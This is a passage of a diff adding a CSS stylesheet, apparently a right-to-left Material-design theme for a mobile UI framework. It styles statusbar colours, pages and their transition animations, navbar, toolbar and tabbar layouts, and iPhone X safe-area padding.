#eed500; +} +.md .color-theme-orange .statusbar { + background: #b36a00; +} +.md .color-theme-gray .statusbar { + background: #787878; +} +.md .color-theme-white .statusbar { + background: #d9d9d9; +} +.md .color-theme-black .statusbar { + background: #000000; +} +/* === Views === */ +.views, +.view { + position: relative; + height: 100%; + z-index: 5000; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +/* === Pages === */ +.pages { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} +.page { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.page.stacked { + display: none; +} +.page-previous { + pointer-events: none; +} +.page-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; + position: relative; + z-index: 1; +} +.md .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + left: 100%; + background: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.md .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.md .page { + background: #fff; +} +.md .page-next { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + pointer-events: none; +} +.md .page-next.page-next-on-right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.md .page-transitioning, +.md .page-transitioning .page-shadow-effect, +.md .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.md .page-transitioning-swipeback, +.md .page-transitioning-swipeback .page-shadow-effect, +.md .page-transitioning-swipeback .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .router-transition-forward .page, +.md .router-transition-backward .page { + pointer-events: none; +} +.md .router-transition-css-forward .page-next { + -webkit-animation: md-page-next-to-current 250ms forwards; + animation: md-page-next-to-current 250ms forwards; +} +.md .router-transition-css-forward .page-current { + -webkit-animation: none; + animation: none; +} +.md .router-transition-css-backward .page-current { + -webkit-animation: md-page-current-to-next 250ms forwards; + animation: md-page-current-to-next 250ms forwards; +} +.md .router-transition-css-backward .page-previous { + -webkit-animation: none; + animation: none; +} +.md .theme-dark .page, +.page.md .theme-dark { + background: #171717; +} +@-webkit-keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@keyframes md-page-next-to-current { + from { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } + to { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); + opacity: 1; + } +} +@-webkit-keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +@keyframes md-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + opacity: 1; + } + to { + -webkit-transform: translate3d(0, 56px, 0); + transform: translate3d(0, 56px, 0); + opacity: 0; + } +} +/* === Link === */ +.link, +.tab-link { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 1; +} +.md .link i + span, +.md .link i + i, +.md .link span + i, +.md .link span + span { + margin-right: 8px; +} +/* === Navbar === */ +.navbar { + position: relative; + left: 0; + top: 0; + width: 100%; + z-index: 500; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar b { + font-weight: 500; +} +.navbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.navbar .title, +.navbar .left, +.navbar .right { + position: relative; + z-index: 1; +} +.navbar .title { + text-align: center; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + font-weight: 500; + display: inline-block; +} +.navbar .subtitle { + display: block; +} +.navbar .left, +.navbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar .right:first-child { + position: absolute; + height: 100%; +} +.navbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.navbar-inner.stacked { + display: none; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.md .navbar { + height: 56px; + background: #2196f3; + color: #fff; + font-size: 20px; +} +.md .navbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .navbar.no-shadow:after { + display: none; +} +.md .navbar a { + color: inherit; +} +.md .navbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + height: 56px; + line-height: 56px; +} +.md .navbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .navbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .navbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .navbar .title { + margin: 0 16px; + line-height: 1.2; + text-align: left; +} +.md .navbar .subtitle { + line-height: 1.2; + font-size: 14px; + font-weight: normal; + color: rgba(255, 255, 255, 0.85); +} +.md .navbar .right { + margin-right: auto; +} +.md .navbar .right:first-child { + left: 16px; +} +.md .navbar-inner { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; +} +.md .page-with-subnavbar .navbar-inner { + overflow: visible; +} +.md .navbar ~ * .page-content, +.md .navbar ~ .page-content { + padding-top: 56px; +} +@media (min-width: 768px) { + .md .navbar { + height: 64px; + } + .md .navbar a.link { + height: 64px; + line-height: 64px; + } + .md .navbar ~ * .page-content, + .md .navbar ~ .page-content { + padding-top: 64px; + } +} +.md .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .navbar-hidden:after { + display: none; +} +.md .color-theme-red .navbar, +.md .color-theme-red.navbar { + background: #f44336; +} +.md .color-theme-green .navbar, +.md .color-theme-green.navbar { + background: #4caf50; +} +.md .color-theme-blue .navbar, +.md .color-theme-blue.navbar { + background: #2196f3; +} +.md .color-theme-pink .navbar, +.md .color-theme-pink.navbar { + background: #e91e63; +} +.md .color-theme-yellow .navbar, +.md .color-theme-yellow.navbar { + background: #ffeb3b; +} +.md .color-theme-orange .navbar, +.md .color-theme-orange.navbar { + background: #ff9800; +} +.md .color-theme-gray .navbar, +.md .color-theme-gray.navbar { + background: #9e9e9e; +} +.md .color-theme-white .navbar, +.md .color-theme-white.navbar { + background: #ffffff; +} +.md .color-theme-black .navbar, +.md .color-theme-black.navbar { + background: #000000; +} +.md .navbar.color-red { + background: #f44336; +} +.md .navbar.color-green { + background: #4caf50; +} +.md .navbar.color-blue { + background: #2196f3; +} +.md .navbar.color-pink { + background: #e91e63; +} +.md .navbar.color-yellow { + background: #ffeb3b; +} +.md .navbar.color-orange { + background: #ff9800; +} +.md .navbar.color-gray { + background: #9e9e9e; +} +.md .navbar.color-white { + background: #ffffff; +} +.md .navbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-left .navbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .navbar-inner, + .md.device-iphone-x .ios-edges .navbar-inner, + .md.device-iphone-x .popup .navbar-inner, + .md.device-iphone-x .sheet-modal .navbar-inner, + .md.device-iphone-x .panel-right .navbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Toolbar === */ +.toolbar { + width: 100%; + position: relative; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; +} +.toolbar b { + font-weight: 500; +} +.toolbar a { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; +} +.toolbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.toolbar i.icon { + display: block; +} +.toolbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.views > .tabbar, +.views > .tabbar-labels { + z-index: 5001; +} +.tabbar a.link, +.tabbar-labels a.link { + line-height: 1.4; +} +.tabbar a.tab-link, +.tabbar-labels a.tab-link, +.tabbar a.link, +.tabbar-labels a.link { + height: 100%; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.tabbar-labels a.tab-link, +.tabbar-labels a.link { + height: 100%; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.tabbar-labels a.tab-link .tabbar-label, +.tabbar-labels a.link .tabbar-label { + display: block; + line-height: 1; + margin: 0; + position: relative; + text-overflow: ellipsis; + white-space: nowrap; +} +.tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.tabbar-scrollable .toolbar-inner::-webkit-scrollbar { + display: none !important; + width: 0 !important; + height: 0 !important; + -webkit-appearance: none; + opacity: 0 !important; +} +.tabbar-scrollable a.tab-link, +.tabbar-scrollable a.link { + width: auto; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.views > .toolbar, +.view > .toolbar, +.page > .toolbar { + position: absolute; +} +.md .toolbar { + background: #2196f3; + height: 48px; + color: #fff; + font-size: 14px; + top: 0; +} +.md .toolbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar.no-shadow:after { + display: none; +} +.md .toolbar a { + color: #fff; +} +.md .toolbar a.link { + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; + min-width: 48px; + line-height: 48px; + height: 48px; +} +.md .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .toolbar a.link i + span, +.md .toolbar a.link i + i, +.md .toolbar a.link span + i, +.md .toolbar a.link span + span { + margin-right: 8px; +} +.md .toolbar a.icon-only { + min-width: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.md .toolbar-inner { + overflow: hidden; +} +.md .tabbar a.link, +.md .tabbar-labels a.link, +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + padding-left: 0; + padding-right: 0; + font-size: 14px; + text-transform: uppercase; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .tabbar i.icon, +.md .tabbar-labels i.icon { + height: 24px; +} +.md .tabbar a.tab-link, +.md .tabbar-labels a.tab-link { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + overflow: hidden; + color: rgba(255, 255, 255, 0.7); + position: relative; +} +.md .tabbar a.tab-link.tab-link-active, +.md .tabbar-labels a.tab-link.tab-link-active, +.md .tabbar a.tab-link.active-state, +.md .tabbar-labels a.tab-link.active-state { + color: #ffffff; +} +.md .tabbar .tab-link-highlight, +.md .tabbar-labels .tab-link-highlight { + position: absolute; + left: 0; + bottom: 0; + height: 2px; + background: #fff; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + right: 0; +} +.md .toolbar-bottom-md, +.md .messagebar { + top: auto !important; + bottom: 0 !important; +} +.md .toolbar-bottom-md:after, +.md .messagebar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + bottom: 100%; + height: 10px; + top: auto; + pointer-events: none; + background: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .toolbar-bottom-md .tab-link-highlight, +.md .messagebar .tab-link-highlight { + bottom: auto; + top: 0; +} +.md .tabbar-labels { + height: 72px; +} +.md .tabbar-labels a.tab-link, +.md .tabbar-labels a.link { + padding-top: 12px; + padding-bottom: 12px; +} +.md .tabbar-labels .tabbar-label { + margin-top: 10px; + max-width: 100%; + overflow: hidden; +} +.md .tabbar-labels.toolbar-bottom-md { + height: 56px; +} +.md .tabbar-labels.toolbar-bottom-md a.tab-link, +.md .tabbar-labels.toolbar-bottom-md a.link { + padding-top: 7px; + padding-bottom: 7px; +} +.md .tabbar-labels.toolbar-bottom-md .tabbar-label { + text-transform: none; + line-height: 1.2; + font-weight: normal; + letter-spacing: 0; +} +.md .tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.md .tabbar-scrollable a.tab-link, +.md .tabbar-scrollable a.link { + padding: 0 16px; +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 48px; +} +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 72px; +} +.md .toolbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.md .toolbar-hidden:after { + display: none; +} +.md .toolbar-hidden.toolbar-bottom-md, +.md .toolbar-hidden.messagebar { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 56px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 104px; +} +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, +.md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 128px; +} +.md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -104px, 0); + transform: translate3d(0, -104px, 0); +} +.md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md) { + -webkit-transform: translate3d(0, -128px, 0); + transform: translate3d(0, -128px, 0); +} +.md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -56px, 0); + transform: translate3d(0, -56px, 0); +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) { + top: 64px; + } + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .page-content, + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .page-content { + padding-top: 112px; + } + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ * .page-content, + .md .navbar + .toolbar.tabbar-labels:not(.toolbar-bottom-md) ~ .page-content { + padding-top: 136px; + } + .md .navbar.navbar-hidden + .toolbar:not(.toolbar-bottom-md):not(.messagebar):not(.toolbar-hidden) { + -webkit-transform: translate3d(0, -64px, 0); + transform: translate3d(0, -64px, 0); + } + .md .navbar + .toolbar-hidden:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -112px, 0); + transform: translate3d(0, -112px, 0); + } + .md .navbar + .toolbar-hidden.tabbar-labels:not(.toolbar-bottom-md):not(.messagebar) { + -webkit-transform: translate3d(0, -136px, 0); + transform: translate3d(0, -136px, 0); + } +} +.md .toolbar-bottom-md ~ * .page-content, +.md .toolbar-bottom-md ~ .page-content, +.md .messagebar ~ * .page-content, +.md .messagebar ~ .page-content { + padding-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: 56px; +} +.md .toolbar-transitioning, +.md .navbar-transitioning + .toolbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.md .color-theme-red .toolbar:not(.messagebar), +.md .color-theme-red.toolbar:not(.messagebar) { + background: #f44336; +} +.md .color-theme-green .toolbar:not(.messagebar), +.md .color-theme-green.toolbar:not(.messagebar) { + background: #4caf50; +} +.md .color-theme-blue .toolbar:not(.messagebar), +.md .color-theme-blue.toolbar:not(.messagebar) { + background: #2196f3; +} +.md .color-theme-pink .toolbar:not(.messagebar), +.md .color-theme-pink.toolbar:not(.messagebar) { + background: #e91e63; +} +.md .color-theme-yellow .toolbar:not(.messagebar), +.md .color-theme-yellow.toolbar:not(.messagebar) { + background: #ffeb3b; +} +.md .color-theme-orange .toolbar:not(.messagebar), +.md .color-theme-orange.toolbar:not(.messagebar) { + background: #ff9800; +} +.md .color-theme-gray .toolbar:not(.messagebar), +.md .color-theme-gray.toolbar:not(.messagebar) { + background: #9e9e9e; +} +.md .color-theme-white .toolbar:not(.messagebar), +.md .color-theme-white.toolbar:not(.messagebar) { + background: #ffffff; +} +.md .color-theme-black .toolbar:not(.messagebar), +.md .color-theme-black.toolbar:not(.messagebar) { + background: #000000; +} +.md .toolbar:not(.messagebar).color-red { + background: #f44336; +} +.md .toolbar:not(.messagebar).color-green { + background: #4caf50; +} +.md .toolbar:not(.messagebar).color-blue { + background: #2196f3; +} +.md .toolbar:not(.messagebar).color-pink { + background: #e91e63; +} +.md .toolbar:not(.messagebar).color-yellow { + background: #ffeb3b; +} +.md .toolbar:not(.messagebar).color-orange { + background: #ff9800; +} +.md .toolbar:not(.messagebar).color-gray { + background: #9e9e9e; +} +.md .toolbar:not(.messagebar).color-white { + background: #ffffff; +} +.md .toolbar:not(.messagebar).color-black { + background: #000000; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md), +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) { + height: calc(48px + constant(safe-area-inset-top)); + height: calc(48px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + height: auto; +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md) .toolbar-inner { + bottom: 0; + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.md.device-iphone-x .views > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .view > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .page > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .popup > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .panel > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar:first-child:not(.toolbar-bottom-md).tabbar-labels { + height: calc(72px + constant(safe-area-inset-top)); + height: calc(72px + env(safe-area-inset-top)); +} +.md.device-iphone-x .views > .toolbar-bottom-md, +.md.device-iphone-x .view > .toolbar-bottom-md, +.md.device-iphone-x .page > .toolbar-bottom-md, +.md.device-iphone-x .popup > .toolbar-bottom-md, +.md.device-iphone-x .panel > .toolbar-bottom-md, +.md.device-iphone-x .login-screen > .toolbar-bottom-md { + height: calc(48px + constant(safe-area-inset-bottom)); + height: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .views > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .view > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .page > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .popup > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .panel > .toolbar-bottom-md .toolbar-inner, +.md.device-iphone-x .login-screen > .toolbar-bottom-md .toolbar-inner { + height: auto; + top: 0; + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .views > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .view > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .page > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .popup > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .panel > .toolbar-bottom-md.tabbar-labels, +.md.device-iphone-x .login-screen > .toolbar-bottom-md.tabbar-labels { + height: calc(56px + constant(safe-area-inset-bottom)); + height: calc(56px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md ~ .page-content, +.md.device-iphone-x .messagebar ~ * .page-content, +.md.device-iphone-x .messagebar ~ .page-content { + padding-bottom: calc(48px + constant(safe-area-inset-bottom)); + padding-bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ * .page-content, +.md.device-iphone-x .toolbar-bottom-md.tabbar-labels ~ .page-content { + padding-bottom: calc(56px + constant(safe-area-inset-bottom)); + padding-bottom: calc(56px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-left .toolbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge .toolbar-inner, + .md.device-iphone-x .ios-edges .toolbar-inner, + .md.device-iphone-x .popup .toolbar-inner, + .md.device-iphone-x .sheet-modal .toolbar-inner, + .md.device-iphone-x .panel-right .toolbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Subnavbar === */ +.subnavbar { + width: 100%; + position: absolute; + left: 0; + top: 0; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .title { 